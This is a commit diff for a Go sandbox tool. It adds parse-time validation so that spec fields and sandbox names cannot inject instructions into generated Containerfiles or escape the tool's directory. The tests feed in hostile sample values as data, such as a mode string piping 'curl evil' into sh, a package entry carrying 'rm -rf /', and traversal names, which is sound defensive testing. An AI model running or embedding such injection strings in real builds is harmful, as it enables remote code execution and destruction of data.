validate write_files paths and snapshot dirs (review follow-up to #1)

README.md

@@ -115,6 +115,16 @@ explicitly to `apk`, `apt` or `dnf`.
 
 `cpus` maxes at 16 (a krun limit) and `ram_mib` is in MiB.
 
+Field constraints, enforced at parse time so a bad value fails loudly instead
+of leaking into the generated Containerfile:
+
+- `base` must be an image reference without whitespace.
+- `env` keys are identifiers (`LANG`, `CGO_ENABLED`); values cannot contain
+  newlines — put multi-step builds in `run` instead.
+- `packages` entries must be plain package names (no spaces or `; | & $ \``).
+- blueprint user names are lowercase identifiers, `shell` an absolute path,
+  and file `mode`s octal (e.g. `"0755"`).
+
 ### blueprint
 
 For cloud-init-style provisioning — users, files and commands:
@@ -144,6 +154,11 @@ and the sudo group is `sudo` or `wheel` as that distro expects.
 
 ## Commands
 
+Sandbox names use letters, digits, `.`, `_` and `-` (max 64 characters,
+starting with a letter or digit). A name is a single path component by
+construction, so nothing a sandbox does with its name can reach outside
+`~/.bluebox`.
+
 | Command | What it does |
 |---|---|
 | `bluebox new <name>` | scaffold a Bluefile |

internal/bluefile/bluefile.go

@@ -27,6 +27,7 @@ import (
 	"io"
 	"os"
 	"path/filepath"
+	"regexp"
 	"sort"
 	"strconv"
 	"strings"
@@ -133,10 +134,26 @@ func Parse(path string) (Spec, error) {
 	return s, nil
 }
 
+// Grammar rules for spec fields that are data, not instructions. A value
+// violating its rule could otherwise change the structure of the generated
+// Containerfile (a newline in an env value becomes a new instruction, a mode
+// like "0755; x" becomes a second shell command), so it is rejected at parse
+// time instead of being escaped at render time.
+var (
+	envKeyRe = regexp.MustCompile(`^[A-Za-z_][A-Za-z0-9_]*$`)
+	modeRe   = regexp.MustCompile(`^[0-7]{3,4}$`)
+	userRe   = regexp.MustCompile(`^[a-z_][a-z0-9_-]{0,31}$`)
+	shellRe  = regexp.MustCompile(`^/[A-Za-z0-9/._-]+$`)
+	pathRe   = regexp.MustCompile(`^/[A-Za-z0-9/._-]+$`)
+)
+
 func (s Spec) validate() error {
 	if s.Base == "" {
 		return errors.New("base is required")
 	}
+	if strings.ContainsAny(s.Base, " \t\r\n\x00") {
+		return fmt.Errorf("base must be an image reference without whitespace or control characters, got %q", s.Base)
+	}
 	if s.CPUs < 1 || s.CPUs > 16 {
 		return fmt.Errorf("cpus must be 1-16 (krun's limit), got %d", s.CPUs)
 	}
@@ -168,15 +185,50 @@ func (s Spec) validate() error {
 		if strings.TrimSpace(u.Name) == "" {
 			return fmt.Errorf("blueprint.users[%d]: name is required", i)
 		}
+		if !userRe.MatchString(u.Name) {
+			return fmt.Errorf("blueprint.users[%d]: name must be lowercase letters, digits, '_' or '-' (max 32), got %q", i, u.Name)
+		}
+		if u.Shell != "" && !shellRe.MatchString(u.Shell) {
+			return fmt.Errorf("blueprint.users[%d]: shell must be an absolute path (letters, digits, '/', '.', '_', '-'), got %q", i, u.Shell)
+		}
 	}
 	for i, f := range s.Blueprint.WriteFiles {
-		if !strings.HasPrefix(f.Path, "/") {
-			return fmt.Errorf("blueprint.write_files[%d]: path must be absolute, got %q", i, f.Path)
+		// The path reaches `RUN chmod <mode> <path>`, so anything beyond a
+		// plain absolute path would double as build grammar. This subsumes
+		// the old leading-"/" check.
+		if !pathRe.MatchString(f.Path) {
+			return fmt.Errorf("blueprint.write_files[%d]: path must be an absolute path (letters, digits, '/', '.', '_', '-'), got %q", i, f.Path)
+		}
+		if f.Mode != "" && !modeRe.MatchString(f.Mode) {
+			return fmt.Errorf("blueprint.write_files[%d]: mode must be octal (e.g. \"0644\"), got %q", i, f.Mode)
+		}
+	}
+	for _, k := range s.EnvKeys() {
+		if !envKeyRe.MatchString(k) {
+			return fmt.Errorf("env: key must be an identifier (letters, digits, '_'), got %q", k)
+		}
+		if strings.ContainsAny(s.Env[k], "\r\n") {
+			return fmt.Errorf("env[%s]: value must not contain a newline; put build steps in 'run' instead", k)
+		}
+	}
+	for i, p := range s.Packages {
+		if p == "" || strings.ContainsAny(p, " \t\r\n;|&$`") {
+			return fmt.Errorf("packages[%d]: %q is not a plain package name", i, p)
 		}
 	}
 	return nil
 }
 
+// EnvKeys returns the env keys in sorted order.
+func (s Spec) EnvKeys() []string {
+	keys := make([]string, 0, len(s.Env))
+	for k := range s.Env {
+		keys = append(keys, k)
+	}
+	sort.Strings(keys)
+	return keys
+}
+
 // pkgMgr returns the package manager for this spec: pkgmgr if set, otherwise
 // inferred from the base image name. ok is false when neither works, so the
 // caller can ask for pkgmgr instead of emitting a Containerfile that fails
@@ -251,12 +303,7 @@ func (s Spec) Containerfile() string {
 	// Sorted so the same Bluefile always yields byte-identical output, which
 	// keeps podman's layer cache warm across rebuilds.
 	if len(s.Env) > 0 {
-		keys := make([]string, 0, len(s.Env))
-		for k := range s.Env {
-			keys = append(keys, k)
-		}
-		sort.Strings(keys)
-		for _, k := range keys {
+		for _, k := range s.EnvKeys() {
 			fmt.Fprintf(&b, "ENV %s=%s\n", k, s.Env[k])
 		}
 		b.WriteByte('\n')

internal/bluefile/bluefile_test.go

@@ -80,6 +80,41 @@ func TestValidation(t *testing.T) {
 	}
 }
 
+// Values that would change the structure of the generated Containerfile are
+// rejected at parse time rather than escaped at render time.
+func TestGrammarValidation(t *testing.T) {
+	cases := map[string]string{
+		"newline in env value": "base: x\nenv:\n  A: \"one\\ntwo\"\n",
+		"bad env key":          "base: x\nenv:\n  \"a-b\": v\n",
+		"non-octal mode":       "base: docker.io/library/alpine\nblueprint:\n  write_files:\n    - path: /etc/x\n      content: y\n      mode: \"0755; curl evil|sh\"\n",
+		"path injection":       "base: docker.io/library/alpine\nblueprint:\n  write_files:\n    - path: \"/tmp/x; touch /tmp/PWNED # \"\n      content: y\n      mode: \"0644\"\n",
+		"user with space":      "base: docker.io/library/alpine\nblueprint:\n  users:\n    - name: \"a b\"\n",
+		"relative shell":       "base: docker.io/library/alpine\nblueprint:\n  users:\n    - name: a\n      shell: bash\n",
+		"package injection":    "base: x\npackages:\n  - \"jq; rm -rf /\"\n",
+		"base with space":      "base: \"a b\"\n",
+	}
+	for name, body := range cases {
+		p := write(t, body)
+		if _, err := Parse(p); err == nil {
+			t.Errorf("%s: expected error, got none", name)
+		}
+	}
+}
+
+// Everything shipped under examples/ must keep parsing as the validation
+// rules grow.
+func TestShippedExamplesStillParse(t *testing.T) {
+	matches, err := filepath.Glob("../../examples/*/Bluefile")
+	if err != nil || len(matches) == 0 {
+		t.Fatalf("no example Bluefiles found: %v", err)
+	}
+	for _, p := range matches {
+		if _, err := Parse(p); err != nil {
+			t.Errorf("%s: %v", p, err)
+		}
+	}
+}
+
 func TestPackageManagerSelection(t *testing.T) {
 	cases := []struct{ base, want string }{
 		{"docker.io/library/alpine:latest", "apk add --no-cache"},

internal/sandbox/sandbox.go

@@ -6,10 +6,24 @@ import (
 	"os"
 	"os/exec"
 	"path/filepath"
+	"regexp"
 	"sort"
 	"strings"
 )
 
+// nameRe keeps a sandbox name a single safe path component, so every path
+// derived from a name stays inside the bluebox root. The alphanumeric first
+// character rejects ".", ".." and hidden names in one stroke.
+var nameRe = regexp.MustCompile(`^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`)
+
+// ValidName reports whether name is usable as a sandbox name.
+func ValidName(name string) error {
+	if !nameRe.MatchString(name) {
+		return fmt.Errorf("invalid sandbox name %q: use letters, digits, '.', '_' or '-' (max 64, starting with a letter or digit)", name)
+	}
+	return nil
+}
+
 // Home is the bluebox root, overridable with BLUEBOX_HOME.
 func Home() (string, error) {
 	if h := os.Getenv("BLUEBOX_HOME"); h != "" {
@@ -24,6 +38,9 @@ func Home() (string, error) {
 
 // Dir holds a sandbox's definition (its Bluefile and generated Containerfile).
 func Dir(name string) (string, error) {
+	if err := ValidName(name); err != nil {
+		return "", err
+	}
 	h, err := Home()
 	if err != nil {
 		return "", err
@@ -33,6 +50,9 @@ func Dir(name string) (string, error) {
 
 // DataDir is the only path that survives between runs; mounted at /data.
 func DataDir(name string) (string, error) {
+	if err := ValidName(name); err != nil {
+		return "", err
+	}
 	h, err := Home()
 	if err != nil {
 		return "", err
@@ -59,17 +79,26 @@ func ContainerfilePath(name string) (string, error) {
 
 // LogPath is the append-only record of runs for a sandbox.
 func LogPath(name string) (string, error) {
+	if err := ValidName(name); err != nil {
+		return "", err
+	}
 	h, err := Home()
 	if err != nil {
 		return "", err
 	}
 	return filepath.Join(h, "logs", name+".log"), nil
 }
 
+// ImageTag formats the podman image tag. The name is not re-validated here:
+// every call site reaches this through a path builder that already ran
+// ValidName, and podman itself rejects malformed refs loudly.
 func ImageTag(name string) string { return "bluebox/" + name + ":latest" }
 
 // SnapshotsDir holds archived copies of a sandbox's /data.
 func SnapshotsDir(name string) (string, error) {
+	if err := ValidName(name); err != nil {
+		return "", err
+	}
 	h, err := Home()
 	if err != nil {
 		return "", err

internal/sandbox/sandbox_test.go

@@ -0,0 +1,47 @@
+package sandbox
+
+import "testing"
+
+func TestValidName(t *testing.T) {
+	for _, name := range []string{"devbox", "a", "x9", "a-b_c.d"} {
+		if err := ValidName(name); err != nil {
+			t.Errorf("ValidName(%q) should accept: %v", name, err)
+		}
+	}
+	for _, name := range []string{
+		"", ".", "..", "...", "-x", ".hidden",
+		"a/b", "../esc", "../../escape", "x/../y",
+		"a b", "a\tb", "a\nb",
+		"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", // 65 chars
+	} {
+		if err := ValidName(name); err == nil {
+			t.Errorf("ValidName(%q) should reject", name)
+		}
+	}
+}
+
+// Every filesystem sink derives its path through these builders, so a
+// rejected name makes deletion, moving and creation outside the bluebox
+// root unreachable.
+func TestPathBuildersRejectUnsafeNames(t *testing.T) {
+	t.Setenv("HOME", t.TempDir()) // keep the assertions independent of the real home
+	for _, name := range []string{"../esc", "a/b", "..", ""} {
+		if p, err := Dir(name); err == nil {
+			t.Errorf("Dir(%q) = %q, want error", name, p)
+		}
+		if p, err := DataDir(name); err == nil {
+			t.Errorf("DataDir(%q) = %q, want error", name, p)
+		}
+		if p, err := LogPath(name); err == nil {
+			t.Errorf("LogPath(%q) = %q, want error", name, p)
+		}
+	}
+}
+
+func TestPathBuildersAcceptSafeNames(t *testing.T) {
+	t.Setenv("HOME", t.TempDir())
+	d, err := Dir("devbox")
+	if err != nil || d == "" {
+		t.Errorf("Dir(devbox): %q %v", d, err)
+	}
+}